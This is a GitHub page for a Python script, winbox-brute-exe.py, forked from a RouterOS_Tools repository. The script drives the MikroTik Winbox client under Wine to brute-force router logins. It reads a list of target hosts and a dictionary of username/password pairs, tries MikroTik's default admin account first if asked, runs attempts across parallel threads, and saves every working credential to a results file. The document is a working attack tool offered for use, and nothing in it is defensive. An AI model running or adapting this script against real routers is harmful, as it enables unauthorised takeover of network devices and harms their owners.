forked from jabb3rd/RouterOS_Tools
-
Notifications
You must be signed in to change notification settings - Fork 0
/
winbox-brute-exe.py
195 lines (166 loc) · 5.21 KB
/
winbox-brute-exe.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#!/usr/bin/env python3
import argparse
import subprocess
import signal
import time
import os
import threading
from multiprocessing import Pool
# Paths to used tools
WINE_PATH = '/usr/bin/wine'
WINBOX_PATH = '/root/bin/winbox.exe'
TEMP_DIR = '/tmp'
results_filename = 'winbox-brute.log'
# Authorization result codes
AUTH_GOOD = 0
AUTH_BAD = 1
AUTH_ERROR = 2
AUTH_RESULT_CODES = ["GOOD", "BAD", "ERROR"]
DEFAULT_CREDS = ('admin', '')
# Global variables
targets = []
creds = []
number_of_threads = 10
stop_after_good = False
log = False
timeout = 60.0
def terminate_process(p):
if p.poll() is None:
p.terminate()
time.sleep(0.5)
if p.poll() is None:
os.kill(p.pid, signal.SIGTERM)
# Try to login using winbox and return a result
def open_winbox(host, login, password, timeout):
process = subprocess.Popen([WINE_PATH, WINBOX_PATH, host, login, password], cwd = TEMP_DIR, stdout = subprocess.PIPE, stderr = subprocess.PIPE)
pid = process.pid
start_time = time.time()
t = threading.Timer(timeout, terminate_process, [process])
try:
t.start()
while process.poll() is None:
line = process.stdout.readline()
if line == b'logged in!!!\n':
duration = time.time() - start_time
print('\033[32m[+] %s %s %s [OK] [t = %ss]\033[39m' % (host, login, password, duration))
t.cancel()
terminate_process(process)
return AUTH_GOOD
elif line == b'~Connection\n':
duration = time.time() - start_time
print('[-] %s %s %s [BAD] [t = %ss]' % (host, login, password, duration))
t.cancel()
terminate_process(process)
return AUTH_BAD
finally:
t.cancel()
duration = time.time() - start_time
print('[-] %s %s %s [TIMEOUT] [t = %ss]' % (host, login, password, duration))
return AUTH_ERROR
def bruteforce(target):
result = []
for l, p in creds:
print('[*] Trying to connect to target: %s (%s:%s)' % (target, l, p))
code = open_winbox(target, l, p, timeout)
result.append((target, l, p, code))
if code == AUTH_GOOD:
if stop_after_good:
return result
if code == AUTH_ERROR:
break
return result
def read_dictionary(filename):
try:
with open(filename) as f:
dictionary = [d.strip() for d in f.readlines()]
f.close()
return dictionary
except:
return None
def parse_dictionary(dict):
result = []
for d in dict:
try:
login, password = d.split('\t')
except:
login = d
password = ''
result.append((login, password))
return result
def read_targets(filename):
try:
with open(filename) as f:
targets = [t.strip() for t in f.readlines()]
f.close()
return targets
except:
return None
if __name__ == '__main__':
results_file_opened = False
parser = argparse.ArgumentParser(description='description')
parser.add_argument('-d', '--dict', help = 'A dictionary file', required = False)
parser.add_argument('-T', '--targets', help = 'Targets list filename', required = False)
parser.add_argument('-n', '--threads', type = int, help = 'Number of threads for parallel processing', required = False)
parser.add_argument('--timeout', type = int, help = 'Timeout for each winbox instance', required = False)
parser.add_argument('-S', '--stop-after-good', action = 'store_true', help = 'Stop login tries after good creds found for the target', required = False)
parser.add_argument('--log', help = 'Write log file', required = False)
parser.add_argument('--default', action = 'store_true', help = 'Try default credentials at first', required = False)
args = vars(parser.parse_args())
if not ((args['dict'] and args['targets']) or (args['default'] and args['targets'])):
print('Please specify a dictionary (-d) (or use --default) and targets file (-T)')
exit(1)
if args['dict']:
dictfile = args['dict']
dict = read_dictionary(dictfile)
if dict is None:
print('Error reading the dictionary file: %s' % dictfile)
exit(1)
creds = parse_dictionary(dict)
if args['default']:
creds.insert(0, DEFAULT_CREDS)
if args['default']:
if not args['dict']:
creds = [DEFAULT_CREDS]
if args['threads']:
number_of_threads = args['threads']
if args['timeout']:
timeout = float(args['timeout'])
if args['targets']:
targetsfile = args['targets']
targets = read_targets(targetsfile)
if targets is None:
print('Error reading the targets file: %s' % targetsfile)
exit(1)
targets_count = len(targets)
if targets_count < number_of_threads:
number_of_threads = targets_count
if args['stop_after_good']:
stop_after_good = True
if args['log']:
log = True
log_filename = args['log']
log_file = open(log_filename, 'a')
print('Timeout: %s' % timeout)
print('[*] Starting with %s threads' % number_of_threads)
pool = Pool(processes = number_of_threads)
results = pool.map(bruteforce, targets)
pool.close()
pool.join()
print('[!] Finishing...')
print('\nGood results:\n=============')
for r in results:
for e in r:
host, login, password, code = e
if code == AUTH_GOOD:
out = host + ' ' + login + ' ' + password
print(out)
if not results_file_opened:
results_file = open(results_filename, 'a')
results_file_opened = True
results_file.write(out + '\n')
if log:
log_file.write(AUTH_RESULT_CODES[code] + '\t' + host + '\t' + login + '\t' + password + '\n')
if results_file_opened:
results_file.close()
if log:
log_file.close()